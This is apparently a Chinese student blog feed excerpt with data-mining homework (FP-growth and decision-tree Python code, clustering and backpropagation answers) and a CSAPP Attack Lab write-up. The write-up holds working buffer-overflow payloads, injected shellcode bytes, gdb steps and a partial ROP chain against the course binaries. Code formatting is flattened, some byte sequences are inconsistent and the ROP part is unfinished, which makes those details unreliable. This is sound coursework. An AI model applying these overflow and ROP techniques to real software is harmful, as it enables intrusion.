<p>[1,3,4],[2,3,5],[1,2,3,5],[2,5]</p>
<p>最小支持度设置为0.5,最小置信度设置为0.7时,测试结果:</p>
<p><img src="https://s2.loli.net/2021/12/10/g5TCOWLFoVqEjPS.jpg" alt="img"></p>
<p>修改最小支持度和最小置信度,分别修改为0.7和0.5,测试结果:</p>
<p><img src="https://s2.loli.net/2021/12/10/BaLWXitCnlqEr75.jpg" alt="img"></p>
<p>Fp-growth算法</p>
<pre><code>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def loadSimpDat():
simpDat = [['r', 'z', 'h', 'j', 'p'],
['z', 'y', 'x', 'w', 'v', 'u', 't', 's'],
['z','p','x'],
['r', 'x', 'n', 'o', 's'],
['y', 'r', 'x', 'z', 'q', 't', 'p'],
['y', 'z', 'x', 'e', 'q', 's', 't', 'm']]
return simpDat
class treeNode:
def __init__(self, nameValue, numOccur, parentNode):
self.name = nameValue
self.count = numOccur
self.nodeLink = None
self.parent = parentNode #needs to be updated
self.children = {}
def inc(self, numOccur):
self.count += numOccur
def disp(self, ind=1):
print ((' '*ind, self.name, ' ', self.count))
for child in self.children.values():
child.disp(ind+1)
def createTree(dataSet, minSup=1): #create FP-tree from dataset but don't mine
headerTable = {}
#go over dataSet twice
for trans in dataSet:#first pass counts frequency of occurance
for item in trans:
headerTable[item] = headerTable.get(item, 0) + dataSet[trans]
for k in list(headerTable.keys()): #remove items not meeting minSup
if headerTable[k] &lt; minSup:
headerTable.pop(k)
freqItemSet = set(headerTable.keys())
#print 'freqItemSet: ',freqItemSet
if len(freqItemSet) == 0: return None, None #if no items meet min support --&gt;get out
for k in headerTable:
headerTable[k] = [headerTable[k], None] #reformat headerTable to use Node link
#print 'headerTable: ',headerTable
retTree = treeNode('Null Set', 1, None) #create tree
for tranSet, count in dataSet.items(): #go through dataset 2nd time
localD = {}
for item in tranSet: #put transaction items in order
if item in freqItemSet:
localD[item] = headerTable[item][0]
if len(localD) &gt; 0:
orderedItems = [v[0] for v in sorted(localD.items(), key=lambda p: p[1], reverse=True)]
updateTree(orderedItems, retTree, headerTable, count)#populate tree with ordered freq itemset
return retTree, headerTable #return tree and header table
def updateTree(items, inTree, headerTable, count):
if items[0] in inTree.children:#check if orderedItems[0] in retTree.children
inTree.children[items[0]].inc(count) #incrament count
else: #add items[0] to inTree.children
inTree.children[items[0]] = treeNode(items[0], count, inTree)
if headerTable[items[0]][1] == None: #update header table
headerTable[items[0]][1] = inTree.children[items[0]]
else:
updateHeader(headerTable[items[0]][1], inTree.children[items[0]])
if len(items) &gt; 1:#call updateTree() with remaining ordered items
updateTree(items[1::], inTree.children[items[0]], headerTable, count)
def updateHeader(nodeToTest, targetNode): #this version does not use recursion
while (nodeToTest.nodeLink != None): #Do not use recursion to traverse a linked list!
nodeToTest = nodeToTest.nodeLink
nodeToTest.nodeLink = targetNode
def ascendTree(leafNode, prefixPath): #ascends from leaf node to root
if leafNode.parent != None:
prefixPath.append(leafNode.name)
ascendTree(leafNode.parent, prefixPath)
def findPrefixPath(basePat, treeNode): #treeNode comes from header table
condPats = {}
while treeNode != None:
prefixPath = []
ascendTree(treeNode, prefixPath)
if len(prefixPath) &gt; 1:
condPats[frozenset(prefixPath[1:])] = treeNode.count
treeNode = treeNode.nodeLink
return condPats
def mineTree(inTree, headerTable, minSup, preFix, freqItemList):
bigL = [k for k,v in sorted(headerTable.items(), key=lambda p: p[1][0])]#(sort header table)
for basePat in bigL: #start from bottom of header table
newFreqSet = preFix.copy()
newFreqSet.add(basePat)
#print 'finalFrequent Item: ',newFreqSet #append to set
freqItemList.append(newFreqSet)
condPattBases = findPrefixPath(basePat, headerTable[basePat][1])
#print 'condPattBases :',basePat, condPattBases
#2. construct cond FP-tree from cond. pattern base
myCondTree, myHead = createTree(condPattBases, minSup)
#print 'head from conditional tree: ', myHead
if myHead != None: #3. mine cond. FP-tree
#print 'conditional tree for: ',newFreqSet
#myCondTree.disp(1)
mineTree(myCondTree, myHead, minSup, newFreqSet, freqItemList)
def createInitSet(dataSet):
retDict = {}
for trans in dataSet:
retDict[frozenset(trans)] = 1
return retDict
minSup = 4
simpDat = loadSimpDat()
initSet = createInitSet(simpDat)
myFPtree, myHeaderTab = createTree(initSet, minSup)
myFreqList = []
if myFPtree is not None:
myFPtree.disp()
mineTree(myFPtree, myHeaderTab, minSup, set([]), myFreqList)
print(&quot;支持度为%d时,频繁项数为%d:&quot;%(minSup, len(myFreqList)))
print(&quot;频繁项集为:&quot;)
for item in myFreqList:
print(item)
</code></pre><p>测试数据:</p>
<p><img src="https://s2.loli.net/2021/12/10/cw2i874amMrEHsl.jpg" alt="img"></p>
<p>测试结果:</p>
<p><img src="https://s2.loli.net/2021/12/10/BD6ziHM4KOhC8Qf.jpg" alt="img"></p>
<p>代码运行环境:python3.7</p>
<p>完整代码见 ./压缩包/代码</p>
<p>\4. 请编写程序实现决策树算法,请自拟数据集进行测试。(20分)</p>
<p>核心代码:</p>
<pre><code>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from math import log
def createDataSet():
#outlook:sunny:1,overcast:2,rainy:3
#temperature:hot:1,mild:2,cool:3
#humidity:high:1,normal:2
#windy:false:1,true:2
#play:no,yes
dataSet=[
[1,1,1,1,'no'],
[1,1,1,2,'no'],
[2,1,1,1,'yes'],
[3,2,1,1,'yes'],
[3,3,2,1,'yes'],
[3,3,2,2,'no'],
[2,3,2,2,'yes'],
[1,2,1,1,'no'],
[1,3,2,1,'yes'],
[3,2,2,1,'yes'],
[1,2,2,2,'yes'],
[2,2,1,2,'yes'],
[2,1,2,1,'yes'],
[3,2,1,2,'no']
]
labels=['outlook','temperature','humidity','windy','play']
return dataSet,labels
def calcShannonEnt(dataSet):
#返回数据集行数
numEntries=len(dataSet)
#保存每个标签(label)出现次数的字典
labelCounts={}
#对每组特征向量进行统计
for featVec in dataSet:
currentLabel=featVec[-1]#提取标签信息
if currentLabel not in labelCounts.keys():#如果标签没有放入统计次数
labelCounts[currentLabel]=0
labelCounts[currentLabel]+=1#label计数
shannonEnt=0.0
#计算经验熵
for key in labelCounts:
prob=float(labelCounts[key])/numEntries #选择该标签的概率
shannonEnt-=prob*log(prob,2) #利用公式计算
return shannonEnt
def chooseBestFeatureToSplit(dataSet):
#特征数量
numFeatures = len(dataSet[0]) - 1
#计数数据集的香农熵
baseEntropy = calcShannonEnt(dataSet)
#信息增益
bestInfoGain = 0.0
#最优特征的索引值
bestFeature = -1
#遍历所有特征
for i in range(numFeatures):
# 获取dataSet的第i个所有特征
featList = [example[i] for example in dataSet]
#创建set集合{},元素不可重复
uniqueVals = set(featList)
#经验条件熵
newEntropy = 0.0
#计算信息增益
for value in uniqueVals:
#subDataSet划分后的子集
subDataSet = splitDataSet(dataSet, i, value)
#计算子集的概率
prob = len(subDataSet) / float(len(dataSet))
#根据公式计算经验条件熵
newEntropy += prob * calcShannonEnt((subDataSet))
#信息增益
infoGain = baseEntropy - newEntropy
#打印每个特征的信息增益
print(&quot;第%d个特征的增益为%.3f&quot; % (i, infoGain))
#计算信息增益
if (infoGain &gt; bestInfoGain):
#更新信息增益,找到最大的信息增益
bestInfoGain = infoGain
#记录信息增益最大的特征的索引值
bestFeature = i
#返回信息增益最大特征的索引值
return bestFeature
def splitDataSet(dataSet,axis,value):
retDataSet=[]
for featVec in dataSet:
if featVec[axis]==value:
reducedFeatVec=featVec[:axis]
reducedFeatVec.extend(featVec[axis+1:])
retDataSet.append(reducedFeatVec)
return retDataSet
if __name__=='__main__':
dataSet,features=createDataSet()
print(dataSet)
print(calcShannonEnt(dataSet))
print(&quot;最优索引值:&quot;+str(chooseBestFeatureToSplit(dataSet)))
</code></pre><p>测试结果:</p>
<p><img src="https://s2.loli.net/2021/12/10/2EMmlRZycCXTK9L.jpg" alt="img"></p>
<p><strong>5.</strong> <em><strong>*请分析k*</strong></em><em><strong>*-means*</strong></em><em><strong>*算法和k中心点算法的异同。(*</strong></em><em><strong>*8*</strong></em><em><strong>*分)*</strong></em></p>
<p>相同之处:</p>
<p>在第一步:选择k个随机的点作为初始的种子点和第二步:针对每个簇中,随机在选一个点为新的种子点构建新的划分,k-means算法和k中心点算法没有区别,是相同的。</p>
<p>第五步两者都是重复计算E的值直到没有能够使得E值更小的划分为止。</p>
<p>不同之处:</p>
<p>在第三步,k-means对簇中的点求均值,均值可能并不存在于簇中,k中心点算法采用的是在簇中随机的点作为新种子,再构建新的划分,新种子一点是真实存在簇中。</p>
<p>第四步:计算距离时公式不同:k-中心点中的dist(p,ci)没有平方。</p>
<p><strong>6.</strong> <em><strong>*请使用单连接算法描述下列数据是如何进行层次聚类的并画出树状图。*</strong></em></p>
<p>(10, 8) (70,80) (99,87) (6,5) (5,10) (16分)</p>
<p><img src="https://s2.loli.net/2021/12/10/s4ZxUkwYCpFH6MI.png" alt="image-20211210090953323"></p>
<p><img src="https://s2.loli.net/2021/12/10/whDcVrFRks6XvK2.png" alt="image-20211210091036062"></p>
<p><strong>7.</strong> <em><strong>*请描述深度学习中前向传递、后项传递和梯度下降含义和作用。(*</strong></em><em><strong>*9*</strong></em><em><strong>*分)*</strong></em></p>
<p>前向传播 (Forward propagation),指的是:数据从输入层开始,依次经过隐藏层(如果有)最终到达输出层的过程。其中,数据每经过一层传播,其节点输出的值所代表的信息层次就越高阶和概括。节点中输出的值是通过与其相连的前一层中所有的节点输出值的加权求和处理后的结果。</p>
<p>反向传播是计算损失函数对神经网络这个函数中的不同层中参数的偏导数的过程。就是对前向传播产生的结果进行纠正,并把权重参数等进行更新。</p>
<p>梯度下降就是寻找优化参数的方向,对得到的偏差,往哪个方向对参数进行优化。它利用<a href="https://www.zhihu.com/search?q=%E6%A2%AF%E5%BA%A6%E4%BF%A1%E6%81%AF&amp;search_source=Entity&amp;hybrid_search_source=Entity&amp;hybrid_search_extra=%7B:,:113714840%7D">梯度信息</a>,通过不断迭代调整参数来寻找合适的目标值</p>
</description>
</item>
<item>
<title>CSAPP_AttackLab</title>
<link>https://weivwang.github.io/studynotes/csapp_attacklab/</link>
<pubDate>Mon, 15 Nov 2021 14:39:54 +0800</pubDate>
<guid>https://weivwang.github.io/studynotes/csapp_attacklab/</guid>
<description><p>CSAPP_Attack</p>
<p>要求进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)</p>
<p>参考资料:<!-- raw HTML omitted -->写的比较好的一个教程<!-- raw HTML omitted --></p>
<h3 id="前置知识">前置知识</h3>
<p><strong>Code Injection</strong>:</p>
<p>通过使缓冲区溢出,注入攻击代码。这种情况是没有开启栈随机化(每一次执行,反汇编某个函数,会发现汇编代码的地址是固定的),同时没有开金丝雀防止栈溢出,反汇编也可以看到,没有%fs:40 之类的指令,而在bomblab里面读汇编代码会发现每一个函数都有金丝雀(也解决了当时做那一个实验的疑惑),如下:</p>
<pre><code> 141f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1426: 00 00
1428: 48 89 44 24 08 mov %rax,0x8(%rsp)
142d: 31 c0 xor %eax,%eax
</code></pre><p>这里的fs是段基址,csapp教材上有讲,但是没细说。看王爽的《汇编语言》讲了这个概念,一般在8086机上会使用段偏移这种寻址方式,大致是:地址线有20位,但是寄存器只有16位,所以采用16bit段地址+4bit偏移量来进行寻址:物理地址 = 段地址*16 + 偏移地址。</p>
<p>另一个弄懂的地方是:实际上内存大小是局限于地址总线的宽度的。因为地址总线的宽度代表了寻址的能力,而内存大小超过这个寻址范围,多出去的内存没用了,因为找不到。</p>
<p>但是现在的x86-64的寻址能力理论上能达到1800万TB,而实际上目前做不出来这么大的内存,所以现在可以认为内存可以往高了加。</p>
<p>扯开了,接着看上面的指令,先将段偏移赋给rax,接着通过rax定位rsp,这其实已经固定好了缓冲区的大小,最后一个xor异或指令意义在于:一旦用户输入数据溢出缓冲区,覆盖了金丝雀数,前后金丝雀数异或结果一定为1,设置某个标志位为1之后程序退出,这样就防止了缓冲区溢出的问题。</p>
<p><strong>ROP</strong>:</p>
<p>return-oriented programming
ROP即使用你程序里的字节代码攻击你的程序。</p>
<p>就是在开启栈空间随机化之后,每次初始化栈,栈里面放的是allocate函数,分配随机大小空间,实际的调用栈帧在这个随机空间之后,这样就实现了栈空间的随机化,那黑客拿不到这个栈地址,自然无法直接inject程序。</p>
<p>但是也有方法:有些黑客用nop指令,nop将rip+4或+8, 不执行操作,这样总有一次能找到目标程序。但是现在随机的空间范围太大了,也不用这种方法了。</p>
<p>另一种:用程序里面的代码攻击程序,这样就不用注入代码了,我用你程序本来的代码来当作我的指令,实现攻击。</p>
<p><strong>Objdump</strong></p>
<p><strong>GCC</strong></p>
<p><strong>GDB</strong></p>
<p>这几个也都是bomblab要用的</p>
<h3 id="实验材料">实验材料</h3>
<p><img src="https://i.loli.net/2021/11/17/KhJyFQzwINZgpe3.png" alt="image-20211117171611619"></p>
<ul>
<li>
<p>cookie:存放通过关卡需要的字符串</p>
</li>
<li>
<p>Ctarget:使用code injection方式进行攻击的程序</p>
</li>
<li>
<p>Farm.c:感觉没什么用,已经被编译进rtarget里面了</p>
</li>
<li>
<p>Hex2raw :16进制转字符串</p>
</li>
<li>
<p>Readme:学号等信息</p>
</li>
<li>
<p>rtarget:使用ROP方式进行攻击</p>
</li>
</ul>
<p><img src="https://i.loli.net/2021/11/17/dt9kUxI4rBf5TqM.png" alt="image-20211117173053423"></p>
<p><img src="https://i.loli.net/2021/11/17/fs2FWva8PDBYwjg.png" alt="image-20211117173106212"></p>
<p>Gets()是不安全的,没有限制读入的长度,容易导致缓冲区溢出</p>
<p><img src="https://i.loli.net/2021/11/17/wbhmruZO4e6F5Nf.png" alt="image-20211117173229239"></p>
<h3 id="touch1">touch1</h3>
<pre><code>gdb ctarget
</code></pre><pre><code>disas getbuf
#输出:
Dump of assembler code for function getbuf:
0x0000000000401796 &lt;+0&gt;: sub $0x38,%rsp
0x000000000040179a &lt;+4&gt;: mov %rsp,%rdi
0x000000000040179d &lt;+7&gt;: callq 0x401a36 &lt;Gets&gt;
0x00000000004017a2 &lt;+12&gt;: mov $0x1,%eax
0x00000000004017a7 &lt;+17&gt;: add $0x38,%rsp
0x00000000004017ab &lt;+21&gt;: retq
</code></pre><pre><code>disas touch1
#输出:
0x00000000004017ac &lt;+0&gt;: sub $0x8,%rsp
0x00000000004017b0 &lt;+4&gt;: movl $0x1,0x202d42(%rip) # 0x6044fc &lt;vlevel&gt;
0x00000000004017ba &lt;+14&gt;: lea 0x1968(%rip),%rdi # 0x403129
0x00000000004017c1 &lt;+21&gt;: callq 0x400c70 &lt;puts@plt&gt;
0x00000000004017c6 &lt;+26&gt;: mov $0x1,%edi
0x00000000004017cb &lt;+31&gt;: callq 0x401ca6 &lt;validate&gt;
0x00000000004017d0 &lt;+36&gt;: mov $0x0,%edi
0x00000000004017d5 &lt;+41&gt;: callq 0x400de0 &lt;exit@plt&gt;
</code></pre><p>getbuf是不安全的,它建立0x38大小的缓冲区,希望读入0x38的数据,但是我们一旦输入的数据超过0x38,会将getbuf的返回地址覆盖。</p>
<p>所以思路是,写满缓冲区,并将溢出部分(原本的返回地址)设置为touch1的地址,这样getbuf将直接返回到touch1</p>
<p>touch1地址为0x00000000004017ac</p>
<p>所以只需要将getbuf()函数返回地址修改为0x00000000004017ac,利用缓冲区溢出的原理</p>
<p>新建输入文件level1.txt:</p>
<pre><code>vim level1.txt
</code></pre><p>填充内容:</p>
<pre><code>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #填满缓冲区
ac 17 40 00 00 00 00 00 #返回地址改为touch1
</code></pre><p>注意,大部分机器采用小端法,数是反过来的</p>
<pre><code>./hex2raw -i level1.txt | ./ctarget -q
</code></pre><p>顺利通过</p>
<pre><code>Cookie: 0x5fc1af14
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id 2019302110426
course 15213-f15
lab attacklab
result 251:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 17 40 00 00 00 00 00
</code></pre><h3 id="touch2">touch2</h3>
<pre><code>disas touch2
</code></pre><pre><code> 0x00000000004017da &lt;+0&gt;: sub $0x8,%rsp
0x00000000004017de &lt;+4&gt;: mov %edi,%edx
0x00000000004017e0 &lt;+6&gt;: movl $0x2,0x202d12(%rip) # 0x6044fc &lt;vlevel&gt;
0x00000000004017ea &lt;+16&gt;: cmp %edi,0x202d14(%rip) # 0x604504 &lt;cookie&gt;
0x00000000004017f0 &lt;+22&gt;: je 0x40181c &lt;touch2+66&gt;
0x00000000004017f2 &lt;+24&gt;: lea 0x197f(%rip),%rsi # 0x403178
0x00000000004017f9 &lt;+31&gt;: mov $0x1,%edi
0x00000000004017fe &lt;+36&gt;: mov $0x0,%eax
0x0000000000401803 &lt;+41&gt;: callq 0x400d90 &lt;__printf_chk@plt&gt;
0x0000000000401808 &lt;+46&gt;: mov $0x2,%edi
0x000000000040180d &lt;+51&gt;: callq 0x401d76 &lt;fail&gt;
0x0000000000401812 &lt;+56&gt;: mov $0x0,%edi
0x0000000000401817 &lt;+61&gt;: callq 0x400de0 &lt;exit@plt&gt;
0x000000000040181c &lt;+66&gt;: lea 0x192d(%rip),%rsi # 0x403150
0x0000000000401823 &lt;+73&gt;: mov $0x1,%edi
0x0000000000401828 &lt;+78&gt;: mov $0x0,%eax
0x000000000040182d &lt;+83&gt;: callq 0x400d90 &lt;__printf_chk@plt&gt;
0x0000000000401832 &lt;+88&gt;: mov $0x2,%edi
0x0000000000401837 &lt;+93&gt;: callq 0x401ca6 &lt;validate&gt;
0x000000000040183c &lt;+98&gt;: jmp 0x401812 &lt;touch2+56&gt;
</code></pre><p>相比于touch1,touch2带参数,在touch2内部将参数与cookie值进行比较,若相等才能过关</p>
<p>地址为:0x00000000004017da</p>
<p>不能使用jmp或者call指令,所以将touch2地址压入栈,使用ret指令将touch2地址弹出,并设置为指令寄存器的值,因为touch2将输入的参数与cookie比较,所以把cookie值赋给第一个参数rdi</p>
<p>注入代码:</p>
<pre><code>vim inject.s
</code></pre><pre><code>movq $0x5fc1af14, %rdi #将cookie赋给rdi寄存器,rdi存放函数第一个参数pushq $0x00000000004017da #压入touch2地址ret #弹出touch2地址,赋给rsi,这两步是为了跳转到touch2
</code></pre><p>生成为.o文件:</p>
<div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-bash" data-lang="bash">gcc -c inject.s
</code></pre></div><p>查看.o文件,从而获得可执行的指令序列</p>
<pre><code>objdump -d inject.o
</code></pre><p>输出:</p>
<pre><code>Disassembly of section .text:
0000000000000000 &lt;.text&gt;:
0: 48 c7 c7 14 af c1 5f mov $0x5fc1af14,%rdi
7: 68 da 17 40 00 pushq $0x4017da
e: c3
</code></pre><p>所以这三条指令序列:</p>
<pre><code>48 c7 c7 14 af c1 5f ff 34 25 da 17 40 00 c3
</code></pre><p>寻找getbuf的rsp地址,实现覆盖</p>
<pre><code>gdb ctargetbreak getbufrun -qdisas
</code></pre><p>disas输出:</p>
<pre><code>(gdb) disas
Dump of assembler code for function getbuf:
=&gt; 0x0000000000401796 &lt;+0&gt;: sub $0x38,%rsp
0x000000000040179a &lt;+4&gt;: mov %rsp,%rdi
0x000000000040179d &lt;+7&gt;: callq 0x401a36 &lt;Gets&gt;
0x00000000004017a2 &lt;+12&gt;: mov $0x1,%eax
0x00000000004017a7 &lt;+17&gt;: add $0x38,%rsp
0x00000000004017ab &lt;+21&gt;: retq
</code></pre><pre><code>stepi
</code></pre><p>查看rsp值</p>
<pre><code>p/x $rsp
</code></pre><pre><code>$1 = 0x55660a78
</code></pre><p>touch2地址:0x55660a78</p>
<p>getbuf和第一关大小一样,都是0x38</p>
<pre><code>vim level2.txt
</code></pre><pre><code>48 c7 c7 14 af c1 5f 68
da 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
</code></pre><pre><code>./hex2raw -i level2.txt | ./ctarget -q
</code></pre><p>./hex2raw -i level5.txt | ./rtarget -q</p>
<p>0x55660ab0</p>
<p>0x55660a78</p>
<h3 id="touch3">touch3</h3>
<p><img src="https://i.loli.net/2021/11/17/Hdx8wkiRSQFCEZp.png" alt="image-20211117174559398"></p>
<p>![image-20211117174622704](/Users/wangweiwei/Library/Application Support/typora-user-images/image-20211117174622704.png)</p>
<pre><code>disas touch3
</code></pre><pre><code> 0x00000000004018f1 &lt;+0&gt;: push %rbx 0x00000000004018f2 &lt;+1&gt;: mov %rdi,%rbx 0x00000000004018f5 &lt;+4&gt;: movl $0x3,0x202bfd(%rip) # 0x6044fc &lt;vlevel&gt; 0x00000000004018ff &lt;+14&gt;: mov %rdi,%rsi 0x0000000000401902 &lt;+17&gt;: mov 0x202bfc(%rip),%edi # 0x604504 &lt;cookie&gt; 0x0000000000401908 &lt;+23&gt;: callq 0x40183e &lt;hexmatch&gt; 0x000000000040190d &lt;+28&gt;: test %eax,%eax 0x000000000040190f &lt;+30&gt;: je 0x40193e &lt;touch3+77&gt; 0x0000000000401911 &lt;+32&gt;: mov %rbx,%rdx 0x0000000000401914 &lt;+35&gt;: lea 0x1885(%rip),%rsi # 0x4031a0 0x000000000040191b &lt;+42&gt;: mov $0x1,%edi 0x0000000000401920 &lt;+47&gt;: mov $0x0,%eax 0x0000000000401925 &lt;+52&gt;: callq 0x400d90 &lt;__printf_chk@plt&gt; 0x000000000040192a &lt;+57&gt;: mov $0x3,%edi 0x000000000040192f &lt;+62&gt;: callq 0x401ca6 &lt;validate&gt; 0x0000000000401934 &lt;+67&gt;: mov $0x0,%edi 0x0000000000401939 &lt;+72&gt;: callq 0x400de0 &lt;exit@plt&gt; 0x000000000040193e &lt;+77&gt;: mov %rbx,%rdx 0x0000000000401941 &lt;+80&gt;: lea 0x1880(%rip),%rsi # 0x4031c8 0x0000000000401948 &lt;+87&gt;: mov $0x1,%edi
</code></pre><pre><code> 0x00000000004018f1 &lt;+0&gt;: push %rbx
0x00000000004018f2 &lt;+1&gt;: mov %rdi,%rbx
0x00000000004018f5 &lt;+4&gt;: movl $0x3,0x202bfd(%rip) # 0x6044fc &lt;vlevel&gt;
0x00000000004018ff &lt;+14&gt;: mov %rdi,%rsi
0x0000000000401902 &lt;+17&gt;: mov 0x202bfc(%rip),%edi # 0x604504 &lt;cookie&gt;
0x0000000000401908 &lt;+23&gt;: callq 0x40183e &lt;hexmatch&gt;
0x000000000040190d &lt;+28&gt;: test %eax,%eax
0x000000000040190f &lt;+30&gt;: je 0x40193e &lt;touch3+77&gt;
0x0000000000401911 &lt;+32&gt;: mov %rbx,%rdx
0x0000000000401914 &lt;+35&gt;: lea 0x1885(%rip),%rsi # 0x4031a0
0x000000000040191b &lt;+42&gt;: mov $0x1,%edi
0x0000000000401920 &lt;+47&gt;: mov $0x0,%eax
0x0000000000401925 &lt;+52&gt;: callq 0x400d90 &lt;__printf_chk@plt&gt;
0x000000000040192a &lt;+57&gt;: mov $0x3,%edi
0x000000000040192f &lt;+62&gt;: callq 0x401ca6 &lt;validate&gt;
0x0000000000401934 &lt;+67&gt;: mov $0x0,%edi
0x0000000000401939 &lt;+72&gt;: callq 0x400de0 &lt;exit@plt&gt;
0x000000000040193e &lt;+77&gt;: mov %rbx,%rdx
0x0000000000401941 &lt;+80&gt;: lea 0x1880(%rip),%rsi # 0x4031c8
0x0000000000401948 &lt;+87&gt;: mov $0x1,%edi
</code></pre><pre><code class="language-undefined" data-lang="undefined">./hex2raw -i level3.txt | ./ctarget -q
</code></pre><pre><code>48 c7 c7 b8 0a 66 55 68
f1 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
35 66 63 31 61 66 31 34
00
</code></pre><p>Mov cookie地址 rdi</p>
<p>pop touch3</p>
<p>ret</p>
<p>关于cookie字符数组存放的位置:</p>
<p><img src="https://i.loli.net/2021/11/17/rZH1G8gwYXABLCk.png" alt="image-20211117174844978"></p>
<p>cookie需要以0结尾:</p>
<p><img src="https://i.loli.net/2021/11/17/buo9BYfIeRyDExd.png" alt="image-20211117174941581"></p>
<h3 id="rop-touch2">ROP touch2</h3>
<ol>
<li>开启了栈随机化,栈的位置在程序每次运行时都有变化,难以预测攻击字符串的位置(空操作雪橇<code>nop sled</code>可暴力枚举,太庞大)</li>
<li>栈空间不允许有可执行指令,限制了可执行代码区域</li>
</ol>
<pre><code>Mov4019c5: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)4019c5 + 2 = 4019c7Pop401994: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax401994 + 2 = 401996
</code></pre><p>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
96 02 00 00 00 00 00 00 # pop rax , 将返回地址变为getgad1